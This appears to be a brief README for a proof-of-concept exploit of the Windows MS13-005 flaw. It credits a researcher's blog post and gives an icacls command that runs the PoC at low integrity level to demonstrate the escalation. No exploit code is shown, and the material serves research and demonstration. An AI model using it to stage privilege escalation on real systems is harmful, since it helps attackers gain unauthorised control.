@taviso did all the job, I just followed its blogpost:
-> http://blog.cmpxchg8b.com/2013/02/a-few-years-ago-while-working-on.html
-- amazing.
Cool trick:
-> If you want to set this process to a low IL you can use:
icacls ms13-005-funz-poc.exe /setintegritylevel L
-> The new ms13-005-funz-poc.exe will be now launched as low IL
(you can check it with process explorer)
